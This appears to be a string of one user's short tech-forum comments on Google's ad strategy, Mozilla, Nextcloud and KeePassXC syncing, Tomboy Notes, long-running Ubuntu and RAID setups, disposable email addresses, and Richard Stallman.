Google is an advertising company. Their goal is to maximize profit from advertising. Avoiding government regulation is part of that goal. By imposing “good enough” self-regulation they hope keep governments from stepping in. Their solution is definitely better than the currently dying 3rd party cookie free-for-all.

Mozilla is right to question whether “targeted” ads are a good idea at all. I personally find it easier to ignore non-targeted ads, myself. But, if Mozilla decides not to cooperate & holds out for the Platonic ideal tech, they may cause ad dependent web sites to block Firefox completely. That would not be good for any of us.

Nextcloud syncs my KeepassXC safe.

K8s is great, but you’re chaning the subject and not answering OPs question. Containers =/= VMs.

According to fdroid, florisboard is in beta, but hasn’t been updated since june, 2022. Is it still active?

Tell me your secret.

I still use Tomboy Notes synced with Nextcloud & Dropbox. It’s ancient, but I’ve never come across anything else that does these things:

• temporary sticky notes.
• permanent sticky notes.
• glorified clipboard buffer.
• personal wiki.
• light weight (no browser, database, or network required).
• one small window per note.
• optional categorization into notebooks.
• desktop pkeyboard shortcut for searching notes or opening new ones.

I really hate web based notes. I want small quick responsive windows beside my browser.

If you want to scream, try wifi drivers on BSD!

I installed ubuntu on my workstation in 2013 and have upgraded the OS since. I’ve swapped out the motherboard and added 5 drives in raid6. The thing morphed from a desktop into a server over the years. The only original HW is the case (power supply died a few years ago). I never really concidered wiping & installing a new OS.

I wouldn’t mix 5400 rpm drives with 7200 rpm drives, but if the rpm & sizes are the same, there won’t be any measurable performance loss.

Please don’t put the punchline in the title.

SUSE: now with oils on the surface and sludge on the bottom

This is great because I hate manually removing that stuff before I share a link. And I always have to test the link before clicking send.

For the last 20 years I’ve used unique (optionally) disposable email addresses for every site and service I’ve signed up for. Avoided facebook completely & don’t reuse usernames across sites.

Confession: I did use the same username on AIM & Twitter, but both those sites are dead now.

Does Pop! have a good KDE flavor?

RMS is the patron saint (and prophet) of open source. Like all saints he can be an A-hole zealot.

I want to thank Richard for being the a-hole zealot the world has needed. The whole F-ing world is in debt to his relentless, tireless work.
